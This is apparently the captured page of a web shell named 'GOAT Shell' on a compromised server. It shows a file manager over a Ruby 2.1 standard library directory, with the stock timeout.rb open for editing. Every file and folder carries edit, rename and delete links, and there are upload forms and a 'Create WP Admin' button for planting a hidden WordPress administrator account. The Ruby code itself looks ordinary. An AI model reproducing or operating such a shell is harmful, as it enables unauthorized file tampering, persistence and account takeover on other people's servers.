🐐 GOAT Shell
Current path:
opt
/
alt
/
ruby21
/
lib64
/
ruby
/
2.1.0
/
👤 Create WP Admin
⬆️
Go up: ruby
✏️ Editing: timeout.rb
# Timeout long-running blocks # # == Synopsis # # require 'timeout' # status = Timeout::timeout(5) { # # Something that should be interrupted if it takes more than 5 seconds... # } # # == Description # # Timeout provides a way to auto-terminate a potentially long-running # operation if it hasn't finished in a fixed amount of time. # # Previous versions didn't use a module for namespacing, however # #timeout is provided for backwards compatibility. You # should prefer Timeout#timeout instead. # # == Copyright # # Copyright:: (C) 2000 Network Applied Communication Laboratory, Inc. # Copyright:: (C) 2000 Information-technology Promotion Agency, Japan module Timeout # Raised by Timeout#timeout when the block times out. class Error < RuntimeError attr_reader :thread def self.catch(*args) exc = new(*args) exc.instance_variable_set(:@thread, Thread.current) exc.freeze ::Kernel.catch(exc) {yield exc} end def exception(*) if self.thread == Thread.current bt = caller begin throw(self, bt) rescue ArgumentError => e raise unless e.message.start_with?("uncaught throw") raise Error, message, backtrace end end self end end ExitException = Error # :stopdoc: THIS_FILE = /\A#{Regexp.quote(__FILE__)}:/o CALLER_OFFSET = ((c = caller[0]) && THIS_FILE =~ c) ? 1 : 0 # :startdoc: # Perform an operation in a block, raising an error if it takes longer than # +sec+ seconds to complete. # # +sec+:: Number of seconds to wait for the block to terminate. Any number # may be used, including Floats to specify fractional seconds. A # value of 0 or +nil+ will execute the block without any timeout. # +klass+:: Exception Class to raise if the block fails to terminate # in +sec+ seconds. Omitting will use the default, Timeout::Error # # Returns the result of the block *if* the block completed before # +sec+ seconds, otherwise throws an exception, based on the value of +klass+. # # The exception thrown to terminate the given block cannot be rescued inside # the block unless +klass+ is given explicitly. # # Note that this is both a method of module Timeout, so you can <tt>include # Timeout</tt> into your classes so they have a #timeout method, as well as # a module method, so you can call it directly as Timeout.timeout(). def timeout(sec, klass = nil) #:yield: +sec+ return yield(sec) if sec == nil or sec.zero? message = "execution expired" e = Error bl = proc do |exception| begin x = Thread.current y = Thread.start { begin sleep sec rescue => e x.raise e else x.raise exception, message end } return yield(sec) ensure if y y.kill y.join # make sure y is dead. end end end if klass begin bl.call(klass) rescue klass => e bt = e.backtrace end else bt = Error.catch(message, &bl) end rej = /\A#{Regexp.quote(__FILE__)}:#{__LINE__-4}\z/o bt.reject! {|m| rej =~ m} level = -caller(CALLER_OFFSET).size while THIS_FILE =~ bt[level] bt.delete_at(level) end raise(e, message, bt) end module_function :timeout end # Identical to: # # Timeout::timeout(n, e, &block). # # This method is deprecated and provided only for backwards compatibility. # You should use Timeout#timeout instead. def timeout(n, e = nil, &block) Timeout::timeout(n, e, &block) end # Another name for Timeout::Error, defined for backwards compatibility with # earlier versions of timeout.rb. TimeoutError = Timeout::Error
Save
📁
cgi
|
✏️ Rename
|
🗑️ Delete
📁
date
|
✏️ Rename
|
🗑️ Delete
📁
digest
|
✏️ Rename
|
🗑️ Delete
📁
dl
|
✏️ Rename
|
🗑️ Delete
📁
drb
|
✏️ Rename
|
🗑️ Delete
📁
fiddle
|
✏️ Rename
|
🗑️ Delete
📁
io
|
✏️ Rename
|
🗑️ Delete
📁
irb
|
✏️ Rename
|
🗑️ Delete
📁
json
|
✏️ Rename
|
🗑️ Delete
📁
matrix
|
✏️ Rename
|
🗑️ Delete
📁
net
|
✏️ Rename
|
🗑️ Delete
📁
openssl
|
✏️ Rename
|
🗑️ Delete
📁
optparse
|
✏️ Rename
|
🗑️ Delete
📁
psych
|
✏️ Rename
|
🗑️ Delete
📁
racc
|
✏️ Rename
|
🗑️ Delete
📁
rake
|
✏️ Rename
|
🗑️ Delete
📁
rbconfig
|
✏️ Rename
|
🗑️ Delete
📁
rdoc
|
✏️ Rename
|
🗑️ Delete
📁
rexml
|
✏️ Rename
|
🗑️ Delete
📁
rinda
|
✏️ Rename
|
🗑️ Delete
📁
ripper
|
✏️ Rename
|
🗑️ Delete
📁
rss
|
✏️ Rename
|
🗑️ Delete
📁
rubygems
|
✏️ Rename
|
🗑️ Delete
📁
shell
|
✏️ Rename
|
🗑️ Delete
📁
syslog
|
✏️ Rename
|
🗑️ Delete
📁
test
|
✏️ Rename
|
🗑️ Delete
📁
uri
|
✏️ Rename
|
🗑️ Delete
📁
webrick
|
✏️ Rename
|
🗑️ Delete
📁
x86_64-linux
|
✏️ Rename
|
🗑️ Delete
📁
xmlrpc
|
✏️ Rename
|
🗑️ Delete
📁
yaml
|
✏️ Rename
|
🗑️ Delete
📄
abbrev.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
base64.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
benchmark.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cgi.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
cmath.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
complex.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
csv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
date.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
debug.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
delegate.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
digest.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
dl.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
drb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
e2mmap.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
English.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
erb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
expect.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fiddle.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
fileutils.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
find.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
forwardable.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
getoptlong.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
gserver.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ipaddr.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
irb.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
json.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
kconv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
logger.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mathn.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
matrix.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mkmf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
monitor.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
mutex_m.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
observer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open-uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
open3.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
openssl.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
optparse.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ostruct.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pathname.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pp.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prettyprint.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
prime.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
profile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
profiler.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
pstore.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
psych.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rake.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rational.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rdoc.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv-replace.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
resolv.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ripper.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rss.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
rubygems.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
scanf.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
securerandom.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
set.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shell.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
shellwords.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
singleton.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
socket.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
sync.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tempfile.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
thwait.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
time.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
timeout.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tmpdir.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tracer.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
tsort.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
ubygems.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
un.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
uri.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
weakref.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
webrick.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
xmlrpc.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📄
yaml.rb
|
✏️ Edit
|
✏️ Rename
|
🗑️ Delete
📤 Upload File
Upload
📁 Create Folder
Create Folder